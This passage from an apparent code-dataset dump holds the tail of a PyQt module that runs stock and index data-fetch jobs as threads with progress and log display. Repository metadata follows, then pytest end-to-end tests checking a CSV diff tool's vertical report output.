palette.setColor(QPalette.Active, QPalette.WindowText, Qt.black)
else:
palette.setColor(QPalette.Active, QPalette.WindowText, qColor)
self.qCheckBox.setPalette(palette)
pass
#abstract method
def updateLogTriggerHandler(self):
pass
#abstract method
def updateProgressTriggerHandler(self):
pass
#abstract method
def startTaskTriggerHandler(self):
pass
#abstract method
def doneTaskTriggerHandler(self):
pass
class QA_GUI_DateFetch_SU_job01_stock_day(QA_GUI_Date_Fetch_Task):
# todo fix here 不会执行 __init__的 QThread 是一个很特别的对象。
#def __int__(self, qParentWidget):
#super(QA_GUI_DateFetch_SU_job01_stock_day, self).__init__()
#self.qCheckBox = qParentWidget.qCheckBoxJob01_save_stock_day
#self.qProgressBar = qParentWidget.qProgressJob01_save_stock_day;
def startTaskTriggerHandler(self, info_str):
self.changeRunningTaskColor0(QtCore.Qt.red)
pass
def doneTaskTriggerHandler(self, info_str):
#
self.changeRunningTaskColor0(QtCore.Qt.black)
pass
def updateLogTriggerHandler(self, log):
#print("append task log emite triggered!", log);
#self.logDisplay.append(log)
if log and log.strip():
rowCount = self.logDisplay.rowCount()
newItem1 = QTableWidgetItem(log)
newItem2 = QTableWidgetItem("QA_SU_save_stock_day")
self.logDisplay.setRowCount(rowCount+1)
self.logDisplay.setItem(rowCount,0,newItem1)
self.logDisplay.setItem(rowCount,1,newItem2)
#self.logDisplay.scrollToBottom()
pass
def updateProgressTriggerHandler(self, progress):
# print('update task progress ', progress);
self.qProgressBar.setValue(progress)
pass
# thread is working here
def run(self):
self.trigger_start_task_begin.emit("begin")
QA_SU_save_stock_day(client=DATABASE, ui_log=self.trigger_new_log, ui_progress= self.trigger_new_progress)
self.trigger_start_task_done.emit("end")
###################################################################################################################\
class QA_GUI_DateFetch_SU_job01_stock_week(QA_GUI_Date_Fetch_Task):
# 🛠todo fix here 不会执行 __init__的 QThread 是一个很特别的对象。
# def __int__(self):
# # 初始化函数，默认
# super(QA_GUI_DateFetch_SU_job01_stock_week, self).__init__()
def startTaskTriggerHandler(self, info_str):
self.changeRunningTaskColor0(QtCore.Qt.yellow)
pass
def doneTaskTriggerHandler(self, info_str):
#
self.changeRunningTaskColor0(QtCore.Qt.green)
pass
def updateLogTriggerHandler(self, log):
# print("append task log emite triggered!", log);
# self.logDisplay.append(log)
if log and log.strip():
rowCount = self.logDisplay.rowCount()
newItem1 = QTableWidgetItem(log)
newItem2 = QTableWidgetItem("QA_SU_save_stock_week")
self.logDisplay.setRowCount(rowCount + 1)
self.logDisplay.setItem(rowCount, 0, newItem1)
self.logDisplay.setItem(rowCount, 1, newItem2)
#self.logDisplay.scrollToBottom()
pass
def updateProgressTriggerHandler(self, progress):
# print('update task progress ', progress);
self.qProgressBar.setValue(progress)
pass
def run(self):
self.trigger_start_task_begin.emit("begin")
QA_SU_save_stock_week(client=DATABASE, ui_log= self.trigger_new_log, ui_progress= self.trigger_new_progress)
self.trigger_start_task_done.emit("end")
pass
###################################################################################################################\
class QA_GUI_DateFetch_SU_job01_stock_month(QA_GUI_Date_Fetch_Task):
# todo fix here 不会执行 __init__的 QThread 是一个很特别的对象。
# def __int__(self):
# # 初始化函数，默认
# super(QA_GUI_DateFetch_SU_job01_stock_month, self).__init__()
def startTaskTriggerHandler(self, info_str):
self.changeRunningTaskColor0(QtCore.Qt.blue)
pass
def doneTaskTriggerHandler(self, info_str):
#
self.changeRunningTaskColor0(QtCore.Qt.green)
pass
def updateLogTriggerHandler(self, log):
# print("append task log emite triggered!", log);
# self.logDisplay.append(log)
if log and log.strip():
rowCount = self.logDisplay.rowCount()
newItem1 = QTableWidgetItem(log)
newItem2 = QTableWidgetItem("QA_SU_save_stock_month")
self.logDisplay.setRowCount(rowCount + 1)
self.logDisplay.setItem(rowCount, 0, newItem1)
self.logDisplay.setItem(rowCount, 1, newItem2)
#self.logDisplay.scrollToBottom()
pass
def updateProgressTriggerHandler(self, progress):
# print('update task progress ', progress);
self.qProgressBar.setValue(progress)
pass
def run(self):
self.trigger_start_task_begin.emit("begin")
QA_SU_save_stock_month(client=DATABASE, ui_log= self.trigger_new_log, ui_progress= self.trigger_new_progress)
self.trigger_start_task_done.emit("end")
pass
###################################################################################################################\
class QA_GUI_DateFetch_SU_job01_stock_year(QA_GUI_Date_Fetch_Task):
# todo fix here 不会执行 __init__的 QThread 是一个很特别的对象。
# def __int__(self):
# # # 初始化函数，默认
# super(QA_GUI_DateFetch_SU_job01_stock_year, self).__init__()
def startTaskTriggerHandler(self, info_str):
self.changeRunningTaskColor0(QtCore.Qt.magenta)
pass
def doneTaskTriggerHandler(self, info_str):
#
self.changeRunningTaskColor0(QtCore.Qt.green)
pass
def updateProgressTriggerHandler(self, progress):
# print('update task progress ', progress);
self.qProgressBar.setValue(progress)
pass
def updateLogTriggerHandler(self, log):
# print("append task log emite triggered!", log);
# self.logDisplay.append(log)
if log and log.strip():
rowCount = self.logDisplay.rowCount()
newItem1 = QTableWidgetItem(log)
newItem2 = QTableWidgetItem("QA_SU_save_stock_year")
self.logDisplay.setRowCount(rowCount + 1)
self.logDisplay.setItem(rowCount, 0, newItem1)
self.logDisplay.setItem(rowCount, 1, newItem2)
#self.logDisplay.scrollToBottom()
pass
def run(self):
self.trigger_start_task_begin.emit("begin")
QA_SU_save_stock_year(client=DATABASE, ui_log= self.trigger_new_log, ui_progress= self.trigger_new_progress)
self.trigger_start_task_done.emit("end")
pass
###################################################################################################################\
class QA_GUI_DateFetch_SU_job02_stock_xdxr(QA_GUI_Date_Fetch_Task):
# todo fix here 不会执行 __init__的 QThread 是一个很特别的对象。
# def _init_(self):
# # 初始化函数，默认
# super(QA_GUI_DateFetch_SU_job02_stock_xdxr, self).__init__()
def startTaskTriggerHandler(self, info_str):
self.changeRunningTaskColor0(QtCore.Qt.red)
pass
def doneTaskTriggerHandler(self, info_str):
#
self.changeRunningTaskColor0(QtCore.Qt.green)
pass
def updateProgressTriggerHandler(self, progress):
# print('update task progress ', progress);
self.qProgressBar.setValue(progress)
pass
def updateLogTriggerHandler(self, log):
# print("append task log emite triggered!", log);
# self.logDisplay.append(log)
if log and log.strip():
rowCount = self.logDisplay.rowCount()
newItem1 = QTableWidgetItem(log)
newItem2 = QTableWidgetItem("QA_SU_save_stock_xdxr")
self.logDisplay.setRowCount(rowCount + 1)
self.logDisplay.setItem(rowCount, 0, newItem1)
self.logDisplay.setItem(rowCount, 1, newItem2)
#self.logDisplay.scrollToBottom()
pass
def run(self):
self.trigger_start_task_begin.emit("begin")
QA_SU_save_stock_xdxr(client=DATABASE, ui_log= self.trigger_new_log, ui_progress= self.trigger_new_progress)
self.trigger_start_task_done.emit("end")
pass
###################################################################################################################\
class QA_GUI_DateFetch_SU_job03_stock_min(QA_GUI_Date_Fetch_Task):
def startTaskTriggerHandler(self, info_str):
self.changeRunningTaskColor0(QtCore.Qt.red)
pass
def doneTaskTriggerHandler(self, info_str):
#
self.changeRunningTaskColor0(QtCore.Qt.green)
pass
def updateProgressTriggerHandler(self, progress):
# print('update task progress ', progress);
self.qProgressBar.setValue(progress)
pass
def updateLogTriggerHandler(self, log):
# print("append task log emite triggered!", log);
# self.logDisplay.append(log)
if log and log.strip():
rowCount = self.logDisplay.rowCount()
newItem1 = QTableWidgetItem(log)
newItem2 = QTableWidgetItem("QA_SU_save_stock_min")
self.logDisplay.setRowCount(rowCount + 1)
self.logDisplay.setItem(rowCount, 0, newItem1)
self.logDisplay.setItem(rowCount, 1, newItem2)
#self.logDisplay.scrollToBottom()
pass
def run(self):
self.trigger_start_task_begin.emit("begin")
QA_SU_save_stock_min(client=DATABASE, ui_log= self.trigger_new_log, ui_progress= self.trigger_new_progress)
self.trigger_start_task_done.emit("end")
pass
###################################################################################################################
class QA_GUI_DateFetch_SU_job04_index_day(QA_GUI_Date_Fetch_Task):
def startTaskTriggerHandler(self, info_str):
self.changeRunningTaskColor0(QtCore.Qt.red)
pass
def doneTaskTriggerHandler(self, info_str):
#
self.changeRunningTaskColor0(QtCore.Qt.green)
pass
def updateProgressTriggerHandler(self, progress):
# print('update task progress ', progress);
self.qProgressBar.setValue(progress)
pass
def updateLogTriggerHandler(self, log):
# print("append task log emite triggered!", log);
# self.logDisplay.append(log)
if log and log.strip():
rowCount = self.logDisplay.rowCount()
newItem1 = QTableWidgetItem(log)
newItem2 = QTableWidgetItem("QA_SU_save_index_day")
self.logDisplay.setRowCount(rowCount + 1)
self.logDisplay.setItem(rowCount, 0, newItem1)
self.logDisplay.setItem(rowCount, 1, newItem2)
# self.logDisplay.scrollToBottom()
pass
def run(self):
self.trigger_start_task_begin.emit("begin")
QA_SU_save_index_day(client=DATABASE, ui_log=self.trigger_new_log, ui_progress=self.trigger_new_progress)
self.trigger_start_task_done.emit("end")
pass
###################################################################################################################
class QA_GUI_DateFetch_SU_job05_index_min(QA_GUI_Date_Fetch_Task):
def startTaskTriggerHandler(self, info_str):
self.changeRunningTaskColor0(QtCore.Qt.red)
pass
def doneTaskTriggerHandler(self, info_str):
#
self.changeRunningTaskColor0(QtCore.Qt.green)
pass
def updateProgressTriggerHandler(self, progress):
# print('update task progress ', progress);
self.qProgressBar.setValue(progress)
pass
def updateLogTriggerHandler(self, log):
# print("append task log emite triggered!", log);
# self.logDisplay.append(log)
if log and log.strip():
rowCount = self.logDisplay.rowCount()
newItem1 = QTableWidgetItem(log)
newItem2 = QTableWidgetItem("QA_SU_save_index_min")
self.logDisplay.setRowCount(rowCount + 1)
self.logDisplay.setItem(rowCount, 0, newItem1)
self.logDisplay.setItem(rowCount, 1, newItem2)
# self.logDisplay.scrollToBottom()
pass
def run(self):
self.trigger_start_task_begin.emit("begin")
QA_SU_save_index_min(client=DATABASE, ui_log=self.trigger_new_log, ui_progress=self.trigger_new_progress)
self.trigger_start_task_done.emit("end")
pass
###################################################################################################################
class QA_GUI_DateFetch_SU_job06_etf_day(QA_GUI_Date_Fetch_Task):
def startTaskTriggerHandler(self, info_str):
self.changeRunningTaskColor0(QtCore.Qt.red)
pass
def doneTaskTriggerHandler(self, info_str):
#
self.changeRunningTaskColor0(QtCore.Qt.green)
pass
def updateProgressTriggerHandler(self, progress):
# print('update task progress ', progress);
self.qProgressBar.setValue(progress)
pass
def updateLogTriggerHandler(self, log):
# print("append task log emite triggered!", log);
# self.logDisplay.append(log)
if log and log.strip():
rowCount = self.logDisplay.rowCount()
newItem1 = QTableWidgetItem(log)
newItem2 = QTableWidgetItem("QA_SU_save_etf_day")
self.logDisplay.setRowCount(rowCount + 1)
self.logDisplay.setItem(rowCount, 0, newItem1)
self.logDisplay.setItem(rowCount, 1, newItem2)
# self.logDisplay.scrollToBottom()
pass
def run(self):
self.trigger_start_task_begin.emit("begin")
QA_SU_save_etf_day(client=DATABASE, ui_log=self.trigger_new_log, ui_progress=self.trigger_new_progress)
self.trigger_start_task_done.emit("end")
pass
###################################################################################################################
class QA_GUI_DateFetch_SU_job07_etf_min(QA_GUI_Date_Fetch_Task):
def startTaskTriggerHandler(self, info_str):
self.changeRunningTaskColor0(QtCore.Qt.red)
pass
def doneTaskTriggerHandler(self, info_str):
#
self.changeRunningTaskColor0(QtCore.Qt.green)
pass
def updateProgressTriggerHandler(self, progress):
# print('update task progress ', progress);
self.qProgressBar.setValue(progress)
pass
def updateLogTriggerHandler(self, log):
# print("append task log emite triggered!", log);
# self.logDisplay.append(log)
if log and log.strip():
rowCount = self.logDisplay.rowCount()
newItem1 = QTableWidgetItem(log)
newItem2 = QTableWidgetItem("QA_SU_save_etf_min")
self.logDisplay.setRowCount(rowCount + 1)
self.logDisplay.setItem(rowCount, 0, newItem1)
self.logDisplay.setItem(rowCount, 1, newItem2)
# self.logDisplay.scrollToBottom()
pass
def run(self):
self.trigger_start_task_begin.emit("begin")
QA_SU_save_etf_min(client=DATABASE, ui_log=self.trigger_new_log, ui_progress=self.trigger_new_progress)
self.trigger_start_task_done.emit("end")
pass
###################################################################################################################
class QA_GUI_DateFetch_SU_job08_stock_list(QA_GUI_Date_Fetch_Task):
def startTaskTriggerHandler(self, info_str):
self.changeRunningTaskColor0(QtCore.Qt.red)
pass
def doneTaskTriggerHandler(self, info_str):
#
self.changeRunningTaskColor0(QtCore.Qt.green)
pass
def updateProgressTriggerHandler(self, progress):
# print('update task progress ', progress);
self.qProgressBar.setValue(progress)
pass
def updateLogTriggerHandler(self, log):
# print("append task log emite triggered!", log);
# self.logDisplay.append(log)
if log and log.strip():
rowCount = self.logDisplay.rowCount()
newItem1 = QTableWidgetItem(log)
newItem2 = QTableWidgetItem("QA_SU_save_stock_list")
self.logDisplay.setRowCount(rowCount + 1)
self.logDisplay.setItem(rowCount, 0, newItem1)
self.logDisplay.setItem(rowCount, 1, newItem2)
# self.logDisplay.scrollToBottom()
pass
def run(self):
self.trigger_start_task_begin.emit("begin")
QA_SU_save_stock_list(client=DATABASE, ui_log=self.trigger_new_log, ui_progress=self.trigger_new_progress)
self.trigger_start_task_done.emit("end")
pass
class QA_GUI_DateFetch_SU_job09_stock_block(QA_GUI_Date_Fetch_Task):
def startTaskTriggerHandler(self, info_str):
self.changeRunningTaskColor0(QtCore.Qt.red)
pass
def doneTaskTriggerHandler(self, info_str):
#
self.changeRunningTaskColor0(QtCore.Qt.green)
pass
def updateProgressTriggerHandler(self, progress):
# print('update task progress ', progress);
self.qProgressBar.setValue(progress)
pass
def updateLogTriggerHandler(self, log):
# print("append task log emite triggered!", log);
# self.logDisplay.append(log)
if log and log.strip():
rowCount = self.logDisplay.rowCount()
newItem1 = QTableWidgetItem(log)
newItem2 = QTableWidgetItem("QA_SU_save_stock_list")
self.logDisplay.setRowCount(rowCount + 1)
self.logDisplay.setItem(rowCount, 0, newItem1)
self.logDisplay.setItem(rowCount, 1, newItem2)
# self.logDisplay.scrollToBottom()
pass
def run(self):
self.trigger_start_task_begin.emit("begin")
QA_SU_save_stock_block(client=DATABASE, ui_log=self.trigger_new_log, ui_progress=self.trigger_new_progress)
self.trigger_start_task_done.emit("end")
pass
class QA_GUI_DateFetch_SU_job10_stock_info(QA_GUI_Date_Fetch_Task):
def startTaskTriggerHandler(self, info_str):
self.changeRunningTaskColor0(QtCore.Qt.red)
pass
def doneTaskTriggerHandler(self, info_str):
#
self.changeRunningTaskColor0(QtCore.Qt.green)
pass
def updateProgressTriggerHandler(self, progress):
# print('update task progress ', progress);
self.qProgressBar.setValue(progress)
pass
def updateLogTriggerHandler(self, log):
# print("append task log emite triggered!", log);
# self.logDisplay.append(log)
if log and log.strip():
rowCount = self.logDisplay.rowCount()
newItem1 = QTableWidgetItem(log)
newItem2 = QTableWidgetItem("QA_SU_save_stock_list")
self.logDisplay.setRowCount(rowCount + 1)
self.logDisplay.setItem(rowCount, 0, newItem1)
self.logDisplay.setItem(rowCount, 1, newItem2)
# self.logDisplay.scrollToBottom()
pass
def run(self):
self.trigger_start_task_begin.emit("begin")
QA_SU_save_stock_info(client=DATABASE, ui_log=self.trigger_new_log, ui_progress=self.trigger_new_progress)
self.trigger_start_task_done.emit("end")
pass
class QA_GUI_DateFetch_SU_job11_stock_transaction(QA_GUI_Date_Fetch_Task):
def startTaskTriggerHandler(self, info_str):
self.changeRunningTaskColor0(QtCore.Qt.red)
pass
def doneTaskTriggerHandler(self, info_str):
#
self.changeRunningTaskColor0(QtCore.Qt.green)
pass
def updateProgressTriggerHandler(self, progress):
# print('update task progress ', progress);
self.qProgressBar.setValue(progress)
pass
def updateLogTriggerHandler(self, log):
# print("append task log emite triggered!", log);
# self.logDisplay.append(log)
if log and log.strip():
rowCount = self.logDisplay.rowCount()
newItem1 = QTableWidgetItem(log)
newItem2 = QTableWidgetItem("QA_SU_save_stock_transaction")
self.logDisplay.setRowCount(rowCount + 1)
self.logDisplay.setItem(rowCount, 0, newItem1)
self.logDisplay.setItem(rowCount, 1, newItem2)
# self.logDisplay.scrollToBottom()
pass
def run(self):
self.trigger_start_task_begin.emit("begin")
QA_SU_save_stock_transaction(client=DATABASE, ui_log=self.trigger_new_log, ui_progress=self.trigger_new_progress)
self.trigger_start_task_done.emit("end")
pass
class QA_GUI_DateFetch_SU_job12_option_day(QA_GUI_Date_Fetch_Task):
def startTaskTriggerHandler(self, info_str):
self.changeRunningTaskColor0(QtCore.Qt.red)
pass
def doneTaskTriggerHandler(self, info_str):
#
self.changeRunningTaskColor0(QtCore.Qt.green)
pass
def updateProgressTriggerHandler(self, progress):
# print('update task progress ', progress);
self.qProgressBar.setValue(progress)
pass
def updateLogTriggerHandler(self, log):
# print("append task log emite triggered!", log);
# self.logDisplay.append(log)
if log and log.strip():
rowCount = self.logDisplay.rowCount()
newItem1 = QTableWidgetItem(log)
newItem2 = QTableWidgetItem("QA_SU_save_stock_transaction")
self.logDisplay.setRowCount(rowCount + 1)
self.logDisplay.setItem(rowCount, 0, newItem1)
self.logDisplay.setItem(rowCount, 1, newItem2)
# self.logDisplay.scrollToBottom()
pass
def run(self):
self.trigger_start_task_begin.emit("begin")
QA_SU_save_option_day(client=DATABASE, ui_log=self.trigger_new_log, ui_progress=self.trigger_new_progress)
self.trigger_start_task_done.emit("end")
pass
#通达信pytdx 会输出消息， 一同输出到gui界面只能够
class EmittingStream(QtCore.QObject):
textWritten = QtCore.pyqtSignal(str) # 定义一个发送str的信号
def write(self, text):
self.textWritten.emit(str(text))
class QA_GUI_Selected_TaskQueue(QThread):
# QThread 继承的不执行__init__
#def __int__(self, logDisplay):
# 奇怪的问题， 不执行 __init__
# 初始化函数，默认
# super().__init__()
#sfassda
#print("run here")
#exit(0)
#self.logDisplay = logDisplay
#sys.stderr.textWritten.connect(self.outputWrittenStderr)
# 下面将print 系统输出重定向到textEdit中
#sys.stdout = EmittingStream()
#sys.stderr = EmittingStream()
# 接收信号str的信号槽
'''
def outputWrittenStdout(self, text):
cursor = self.logDisplay.textCursor()
cursor.movePosition(QtGui.QTextCursor.End)
cursor.insertText(text)
self.logDisplay.setTextCursor(cursor)
self.logDisplay.ensureCursorVisible()
def outputWrittenStderr(self, text):
cursor = self.logDisplay.textCursor()
cursor.movePosition(QtGui.QTextCursor.End)
cursor.insertText(text)
self.logDisplay.setTextCursor(cursor)
self.logDisplay.ensureCursorVisible()
'''
# 定义一个信号,
trigger_all_task_start = pyqtSignal(str)
trigger_all_task_done = pyqtSignal(str)
#定义任务（每个是一个线程）
QA_GUI_Task_List = []
def run(self):
self.trigger_all_task_start.emit('all_task_start')
for iSubTask in self.QA_GUI_Task_List:
iSubTask.start()
# wait finish iSubTask
while (iSubTask.isRunning()):
time.sleep(1)
self.trigger_all_task_done.emit('all_task_done')
def putTask(self, subTask):
self.QA_GUI_Task_List.append(subTask)
def clearTask(self):
self.QA_GUI_Task_List.clear()
| 35.784261
| 121
| 0.632958
| 2,729
| 26,373
| 5.852693
| 0.069623
| 0.087653
| 0.022539
| 0.04007
| 0.864701
| 0.828387
| 0.822502
| 0.814864
| 0.810669
| 0.810669
| 0
| 0.009274
| 0.239487
| 26,373
| 737
| 122
| 35.784261
| 0.787007
| 0.164638
| 0
| 0.745958
| 0
| 0
| 0.022702
| 0.009917
| 0
| 0
| 0
| 0.001357
| 0
| 1
| 0.205543
| false
| 0.184758
| 0.016166
| 0
| 0.281755
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
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| null | 0
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|
0
| 9
|
57d2a0e870491552adda527a52b15a3e0dd90467
| 14,066
|
py
|
Python
|
tests/test_e2e_03_Reporting_vertical.py
|
blue-monk/csv-diff-python2
|
8fbe9d149231b7d321d867497200e7c0c0118e57
|
[
"MIT"
] | null | null | null |
tests/test_e2e_03_Reporting_vertical.py
|
blue-monk/csv-diff-python2
|
8fbe9d149231b7d321d867497200e7c0c0118e57
|
[
"MIT"
] | null | null | null |
tests/test_e2e_03_Reporting_vertical.py
|
blue-monk/csv-diff-python2
|
8fbe9d149231b7d321d867497200e7c0c0118e57
|
[
"MIT"
] | null | null | null |
import sys
import textwrap
from src.csvdiff2 import csvdiff
def test_show_difference(lhs, rhs, capfd):
lhs.write(textwrap.dedent('''
head1, head2, head3, head4, head5, head6
1, value1-2, key2-2, 1002, 20210921T035902, value4-2
1, value1-3, key2-3, 1003, 20210921T035904, value4-3
102, value1-4, key2-1, 1004, 20210924T180521, value4-e
1003, value1-5, key2-1, 1005, 20210924T180528, value4-5
1003, value1-6, key2-2, 1006, 20210923T143259, value4-6
1003, value1-7, key2-3, 1007, 20210923T143258, value4-7
1003, value1-e, key2-4, 1008, 20210923T143259, value4-8
''').strip())
rhs.write(textwrap.dedent('''
head1, head2, head3, head4, head5, head6
1, value1-1, key2-1, 1001, 20210921T035901, value4-1
1, value1-2, key2-2, 1002, 20210921T035902, value4-2
1, value1-3, key2-3, 1003, 20210921T035903, value4-3
102, value1-4e, key2-1, 1044, 20210924T180529, value4-4
1003, value1-6, key2-2, 1006, 20210923T143259, value4-6
1003, value1-8, key2-4, 1008, 20210923T143257, value4-e
''').strip())
sys.argv = ['csvdiff.py', lhs.strpath, rhs.strpath, '-k0:4,2', '-dv']
csvdiff.main()
out, err = capfd.readouterr()
assert err == ''
assert out == textwrap.dedent('''
============ Report ============
* Differences
--------------------------------------------------------------------------------
L left.csv
R right.csv
--------------------------------------------------------------------------------
> R 2 ['1', 'value1-1', 'key2-1', '1001', '20210921T035901', 'value4-1']
! @ [4]
L 3 ['1', 'value1-3', 'key2-3', '1003', '20210921T035904', 'value4-3']
R 4 ['1', 'value1-3', 'key2-3', '1003', '20210921T035903', 'value4-3']
! @ [1, 3, 4, 5]
L 4 ['102', 'value1-4', 'key2-1', '1004', '20210924T180521', 'value4-e']
R 5 ['102', 'value1-4e', 'key2-1', '1044', '20210924T180529', 'value4-4']
< L 5 ['1003', 'value1-5', 'key2-1', '1005', '20210924T180528', 'value4-5']
< L 7 ['1003', 'value1-7', 'key2-3', '1007', '20210923T143258', 'value4-7']
! @ [1, 4, 5]
L 8 ['1003', 'value1-e', 'key2-4', '1008', '20210923T143259', 'value4-8']
R 7 ['1003', 'value1-8', 'key2-4', '1008', '20210923T143257', 'value4-e']
''')
def test_show_difference_and_number_of_cases(lhs, rhs, capfd):
lhs.write(textwrap.dedent('''
head1, head2, head3, head4, head5, head6
1, value1-2, key2-2, 1002, 20210921T035902, value4-2
1, value1-3, key2-3, 1003, 20210921T035904, value4-3
102, value1-4, key2-1, 1004, 20210924T180521, value4-e
1003, value1-5, key2-1, 1005, 20210924T180528, value4-5
1003, value1-6, key2-2, 1006, 20210923T143259, value4-6
1003, value1-7, key2-3, 1007, 20210923T143258, value4-7
1003, value1-e, key2-4, 1008, 20210923T143259, value4-8
''').strip())
rhs.write(textwrap.dedent('''
head1, head2, head3, head4, head5, head6
1, value1-1, key2-1, 1001, 20210921T035901, value4-1
1, value1-2, key2-2, 1002, 20210921T035902, value4-2
1, value1-3, key2-3, 1003, 20210921T035903, value4-3
102, value1-4e, key2-1, 1044, 20210924T180529, value4-4
1003, value1-6, key2-2, 1006, 20210923T143259, value4-6
1003, value1-8, key2-4, 1008, 20210923T143257, value4-e
''').strip())
sys.argv = ['csvdiff.py', lhs.strpath, rhs.strpath, '-k0:4,2', '-dvc']
csvdiff.main()
out, err = capfd.readouterr()
assert err == ''
assert out == textwrap.dedent('''
============ Report ============
* Differences
--------------------------------------------------------------------------------
L left.csv
R right.csv
--------------------------------------------------------------------------------
> R 2 ['1', 'value1-1', 'key2-1', '1001', '20210921T035901', 'value4-1']
! @ [4]
L 3 ['1', 'value1-3', 'key2-3', '1003', '20210921T035904', 'value4-3']
R 4 ['1', 'value1-3', 'key2-3', '1003', '20210921T035903', 'value4-3']
! @ [1, 3, 4, 5]
L 4 ['102', 'value1-4', 'key2-1', '1004', '20210924T180521', 'value4-e']
R 5 ['102', 'value1-4e', 'key2-1', '1044', '20210924T180529', 'value4-4']
< L 5 ['1003', 'value1-5', 'key2-1', '1005', '20210924T180528', 'value4-5']
< L 7 ['1003', 'value1-7', 'key2-3', '1007', '20210923T143258', 'value4-7']
! @ [1, 4, 5]
L 8 ['1003', 'value1-e', 'key2-4', '1008', '20210923T143259', 'value4-8']
R 7 ['1003', 'value1-8', 'key2-4', '1008', '20210923T143257', 'value4-e']
* Count & Row number
same lines : 2
left side only (<): 2 :-- Row Numbers -->: [5, 7]
right side only (>): 1 :-- Row Numbers -->: [2]
with differences (!): 3 :-- Row Number Pairs -->: [(3, 4), (4, 5), (8, 7)]
''')
def test_show_all_and_number_of_cases(lhs, rhs, capfd):
lhs.write(textwrap.dedent('''
head1, head2, head3, head4, head5, head6
1, value1-2, key2-2, 1002, 20210921T035902, value4-2
1, value1-3, key2-3, 1003, 20210921T035904, value4-3
102, value1-4, key2-1, 1004, 20210924T180521, value4-e
1003, value1-5, key2-1, 1005, 20210924T180528, value4-5
1003, value1-6, key2-2, 1006, 20210923T143259, value4-6
1003, value1-7, key2-3, 1007, 20210923T143258, value4-7
1003, value1-e, key2-4, 1008, 20210923T143259, value4-8
''').strip())
rhs.write(textwrap.dedent('''
head1, head2, head3, head4, head5, head6
1, value1-1, key2-1, 1001, 20210921T035901, value4-1
1, value1-2, key2-2, 1002, 20210921T035902, value4-2
1, value1-3, key2-3, 1003, 20210921T035903, value4-3
102, value1-4e, key2-1, 1044, 20210924T180529, value4-4
1003, value1-6, key2-2, 1006, 20210923T143259, value4-6
1003, value1-8, key2-4, 1008, 20210923T143257, value4-e
''').strip())
sys.argv = ['csvdiff.py', lhs.strpath, rhs.strpath, '-k0:4,2', '-avc']
csvdiff.main()
out, err = capfd.readouterr()
assert err == ''
assert out == textwrap.dedent('''
============ Report ============
* All
--------------------------------------------------------------------------------
L left.csv
R right.csv
--------------------------------------------------------------------------------
> R 2 ['1', 'value1-1', 'key2-1', '1001', '20210921T035901', 'value4-1']
=
L 2 ['1', 'value1-2', 'key2-2', '1002', '20210921T035902', 'value4-2']
R 3 ['1', 'value1-2', 'key2-2', '1002', '20210921T035902', 'value4-2']
! @ [4]
L 3 ['1', 'value1-3', 'key2-3', '1003', '20210921T035904', 'value4-3']
R 4 ['1', 'value1-3', 'key2-3', '1003', '20210921T035903', 'value4-3']
! @ [1, 3, 4, 5]
L 4 ['102', 'value1-4', 'key2-1', '1004', '20210924T180521', 'value4-e']
R 5 ['102', 'value1-4e', 'key2-1', '1044', '20210924T180529', 'value4-4']
< L 5 ['1003', 'value1-5', 'key2-1', '1005', '20210924T180528', 'value4-5']
=
L 6 ['1003', 'value1-6', 'key2-2', '1006', '20210923T143259', 'value4-6']
R 6 ['1003', 'value1-6', 'key2-2', '1006', '20210923T143259', 'value4-6']
< L 7 ['1003', 'value1-7', 'key2-3', '1007', '20210923T143258', 'value4-7']
! @ [1, 4, 5]
L 8 ['1003', 'value1-e', 'key2-4', '1008', '20210923T143259', 'value4-8']
R 7 ['1003', 'value1-8', 'key2-4', '1008', '20210923T143257', 'value4-e']
* Count & Row number
same lines : 2
left side only (<): 2 :-- Row Numbers -->: [5, 7]
right side only (>): 1 :-- Row Numbers -->: [2]
with differences (!): 3 :-- Row Number Pairs -->: [(3, 4), (4, 5), (8, 7)]
''')
def test_show_all_and_number_of_cases_with_ignore_column(lhs, rhs, capfd):
lhs.write(textwrap.dedent('''
head1, head2, head3, head4, head5, head6
1, value1-2, key2-2, 1002, 20210921T035902, value4-2
1, value1-3, key2-3, 1003, 20210921T035904, value4-3
102, value1-4, key2-1, 1004, 20210924T180521, value4-e
1003, value1-5, key2-1, 1005, 20210924T180528, value4-5
1003, value1-6, key2-2, 1006, 20210923T143259, value4-6
1003, value1-7, key2-3, 1007, 20210923T143258, value4-7
1003, value1-e, key2-4, 1008, 20210923T143259, value4-8
''').strip())
rhs.write(textwrap.dedent('''
head1, head2, head3, head4, head5, head6
1, value1-1, key2-1, 1001, 20210921T035901, value4-1
1, value1-2, key2-2, 1002, 20210921T035902, value4-2
1, value1-3, key2-3, 1003, 20210921T035903, value4-3
102, value1-4e, key2-1, 1044, 20210924T180529, value4-4
1003, value1-6, key2-2, 1006, 20210923T143259, value4-6
1003, value1-8, key2-4, 1008, 20210923T143257, value4-e
''').strip())
sys.argv = ['csvdiff.py', lhs.strpath, rhs.strpath, '-k0:4,2', '-avc', '-i1']
csvdiff.main()
out, err = capfd.readouterr()
assert err == ''
assert out == textwrap.dedent('''
============ Report ============
* All
--------------------------------------------------------------------------------
L left.csv
R right.csv
--------------------------------------------------------------------------------
> R 2 ['1', 'value1-1', 'key2-1', '1001', '20210921T035901', 'value4-1']
=
L 2 ['1', 'value1-2', 'key2-2', '1002', '20210921T035902', 'value4-2']
R 3 ['1', 'value1-2', 'key2-2', '1002', '20210921T035902', 'value4-2']
! @ [4]
L 3 ['1', 'value1-3', 'key2-3', '1003', '20210921T035904', 'value4-3']
R 4 ['1', 'value1-3', 'key2-3', '1003', '20210921T035903', 'value4-3']
! @ [3, 4, 5]
L 4 ['102', 'value1-4', 'key2-1', '1004', '20210924T180521', 'value4-e']
R 5 ['102', 'value1-4e', 'key2-1', '1044', '20210924T180529', 'value4-4']
< L 5 ['1003', 'value1-5', 'key2-1', '1005', '20210924T180528', 'value4-5']
=
L 6 ['1003', 'value1-6', 'key2-2', '1006', '20210923T143259', 'value4-6']
R 6 ['1003', 'value1-6', 'key2-2', '1006', '20210923T143259', 'value4-6']
< L 7 ['1003', 'value1-7', 'key2-3', '1007', '20210923T143258', 'value4-7']
! @ [4, 5]
L 8 ['1003', 'value1-e', 'key2-4', '1008', '20210923T143259', 'value4-8']
R 7 ['1003', 'value1-8', 'key2-4', '1008', '20210923T143257', 'value4-e']
* Count & Row number
same lines : 2
left side only (<): 2 :-- Row Numbers -->: [5, 7]
right side only (>): 1 :-- Row Numbers -->: [2]
